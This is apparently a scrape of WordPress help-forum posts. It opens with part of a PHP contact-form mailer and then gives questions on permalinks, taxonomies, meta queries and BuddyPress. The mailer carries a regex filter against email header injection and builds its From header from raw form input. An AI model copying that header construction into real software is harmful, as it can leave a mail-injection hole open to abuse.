     foreach($element_value as $value){if($set){break;} recursive_array_check_header($value);}          }          }          recursive_array_check_header($_REQUEST);          if($set){$errors[] = "You cannot send an email header";}          unset($set);          // Validate email field.          if(isset($_REQUEST['email']) && !empty($_REQUEST['email']))     {          if(preg_match("/(%0A|%0D|\n+|\r+|:)/i",$_REQUEST['email'])){$errors[] = "Email address may not contain a new line or a colon";}          $_REQUEST['email'] = trim($_REQUEST['email']);          if(substr_count($_REQUEST['email'],"@") != 1 || stristr($_REQUEST['email']," ")){$errors[] = "Email address is invalid";}else{$exploded_email = explode("@",$_REQUEST['email']);if(empty($exploded_email[0]) || strlen($exploded_email[0]) > 64 || empty($exploded_email[1])){$errors[] = "Email address is invalid";}else{if(substr_count($exploded_email[1],".") == 0){$errors[] = "Email address is invalid";}else{$exploded_domain = explode(".",$exploded_email[1]);if(in_array("",$exploded_domain)){$errors[] = "Email address is invalid";}else{foreach($exploded_domain as $value){if(strlen($value) > 63 || !preg_match('/^[a-z0-9-]+$/i',$value)){$errors[] = "Email address is invalid"; break;}}}}}}          }          // Check referrer is from same site.          if(!(isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER']) && stristr($_SERVER['HTTP_REFERER'],$_SERVER['HTTP_HOST']))){$errors[] = "You must enable referrer logging to use the form";}          // Check for a blank form.          function recursive_array_check_blank($element_value)     {          global $set;          if(!is_array($element_value)){if(!empty($element_value)){$set = 1;}}     else     {          foreach($element_value as $value){if($set){break;} recursive_array_check_blank($value);}          }          }          recursive_array_check_blank($_REQUEST);          if(!$set){$errors[] = "You cannot send a blank form";}          unset($set);          // Display any errors and exit if errors exist.          if(count($errors)){foreach($errors as $value){print "$value
";} exit;}          if(!defined("PHP_EOL")){define("PHP_EOL", strtoupper(substr(PHP_OS,0,3) == "WIN") ? "\r\n" : "\n");}          // Build message.          function build_message($request_input){if(!isset($message_output)){$message_output ="";}if(!is_array($request_input)){$message_output = $request_input;}else{foreach($request_input as $key => $value){if(!empty($value)){if(!is_numeric($key)){$message_output .= str_replace("_"," ",ucfirst($key)).": ".build_message($value).PHP_EOL.PHP_EOL;}else{$message_output .= build_message($value).", ";}}}}return rtrim($message_output,", ");}          $message = build_message($_REQUEST);          $message = $message . PHP_EOL.PHP_EOL."-- ".PHP_EOL."";          $message = stripslashes($message);          $subject = "Dealer Locator Form from site.com";          $headers = "From: site.com" . $_REQUEST['Name'];          mail($my_email,$subject,$message,$headers);          ?>          <?php get_header(); ?>

<?php the_title(); ?>
     <?php if ( function_exists('yoast_breadcrumb') ) {     yoast_breadcrumb('
','
');     } ?>

     <?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>     <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>     <?php the_content(); ?>
<?php wp_link_pages(); ?>
          <?php endwhile; endif; ?>     <?php edit_post_link(); ?>

     <?php       // Custom widget Area Start      if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar('Dealer Search') ) : ?>     <?php endif;     // Custom widget Area End     ?>

     <?php get_footer(); ?>


Do all wordpress themes a similar class name for content?

I was wondering if all wordpress theme have a similar class name for the content.. For example I know the class for post/content in the twenty ten and twenty eleven is               .entry-content      if not then how would I go about referring contents for all theme using jQuery? e.g $j('.entry-content').css('color','red'); thanks


Permalink rewrite with custom post type and custom taxonomy

I think thats a quick one: I've got:   1. Custom post type: **Food**   2. Custom taxonomy (Registered to Food): **Fruits**   3. Terms in **Fruits** : **Apple** , **Orange** , **Cherry** If I type in **_example.com/food?fruits=Apple,Cherry_** , I get all posts in **Fruits** with the terms **Apple** and **Cherry** , thats great! But I would like to type in **_example.com/food/fruits/Apple,Cherry_** or **_example.com/food/Apple,Cherry_** to get the same result. I´ve tried different permalink and rewrite plugins related to custom posts but nothing helped. Thank you, David


either single-{custom}.php 404's OR /taxonomy/ 404's - custom post type and taxonomy permalinks

I've been playing around with custom post types and taxonomies and banging my head off walls on numerous occasions now - I believe I've read every forum on the internet on how to solve various issues and I'm close with no cigar. I've reset permalinks, added flush_rewrite_rules(); and all the rest I can get the taxonomy to work e.g. domainname.com/products/audio-products BUT then the single-{custom}.php 404's A slug of 'products' , '%product_cat%' or the one used in the code below will work:               register_taxonomy('product_cat',array('product'), array(           'hierarchical' => true,           'labels' => $labels,     'rewrite' => array( 'slug' => 'products/%product_cat%','with_front' =>FALSE, 'hierarchical' => true ),         'query_var' => true,           'show_ui' => true        ));             add_action( 'init', 'build_taxonomies', 0 );        OR I can get the single-{custom}.php to display but then domainname.com/products/audio-products will 404!!               register_taxonomy('product_cat',array('product'), array(           'hierarchical' => true,           'labels' => $labels,         'rewrite' => array( 'slug' => 'pcat','with_front' => FALSE, 'hierarchical' => true ),         'query_var' => true,           'show_ui' => true        ));             add_action( 'init', 'build_taxonomies', 0 );        Here is my full code:               $labels = array(           'name' => _x( 'Product Categories', 'taxonomy general name' ),           'singular_name' => _x( 'Product Category', 'taxonomy singular name' ),           'search_items' =>  __( 'Search Product Categories' ),           'all_items' => __( 'All Product Categories' ),           'parent_item' => __( 'Parent Category' ),           'parent_item_colon' => __( 'Parent Category:' ),           'edit_item' => __( 'Edit Product Category' ),           'update_item' => __( 'Update Product Category' ),           'add_new_item' => __( 'Add Product Category' ),           'new_item_name' => __( 'New Product Category' ),           'menu_name' => __( 'Product Categories' )         );                register_taxonomy('product_cat',array('product'), array(           'hierarchical' => true,           'labels' => $labels,         'rewrite' => array( 'slug' => 'products/%product_cat%','with_front' => FALSE, 'hierarchical' => true ),         'query_var' => true,           'show_ui' => true        ));             add_action( 'init', 'build_taxonomies', 0 );                 function build_taxonomies() {       register_taxonomy(      'brands',      array( 'product','post' ),      array(      'hierarchical' => true,      'labels' => array(                 'name' => 'Brands',                 'singular_name' => 'Brand',                 'update_item' => 'Edit Brand',                 'add_new_item' => 'New Brand',                 'view_item' => 'View Brand',                 'search_items' => 'Search Brand'             ),      'query_var' => true,      'rewrite' => array( 'slug' => 'brands','with_front' => FALSE, 'hierarchical' => true ), ) );       }                 add_action('init', 'create_post_type');          function create_post_type() {         register_post_type('product', array(             'labels' => array(                 'name' => 'Products',                 'singular_name' => 'Product',                 'add_new' => 'Add new product',                 'edit_item' => 'Edit product',                 'new_item' => 'New product',                 'view_item' => 'View product',                 'search_items' => 'Search products',                 'not_found' => 'No products found',                 'not_found_in_trash' => 'No products found in Trash'             ),                  'public' => true,             'publicly_queryable' => true,             'show_ui' => true,             'has_archive' => true,             'query_var' => true,             'rewrite' => array( 'slug' => 'products','with_front' => FALSE),             'capability_type' => 'post',             'hierarchical' => false,             'supports' => array(                 'title',                 'editor',                 'custom-fields',                 'thumbnail',                 'excerpt'             ),             'menu_position' => 5,             'taxonomies' => array('post_tag', 'product_cat' , 'brands') // this is IMPORTANT         ));         flush_rewrite_rules();     }               add_filter( 'pre_get_posts', 'my_get_posts' );               function my_get_posts( $query ) {          if ( is_home() && $query->is_main_query() )         $query->set( 'post_type', array( 'post', 'page', 'product' ) );          return $query;     }


How can I create a meta_query with an array as meta_field?

Here are the args for my query :               $args = array(         'post_type' => 'news',         'meta_query' => array(             array(                 'key' => 'topics',                 'value' => 'sports',             )         )     );      This works when `topics` is a string, but **not** when it is an array. I'd like this query to work when `topics` is for example `array( 'sports', 'nonprofit', etc. )` Is there a way to build meta queries with arrays as a meta_key ?


How to you redirect to Member Profile in BuddyPress

Currently, when you click a member's picture of name in BuddyPress, you are redirected to the member's Activity Page. How can I get Buddypress to default to the member's Profile tab instead?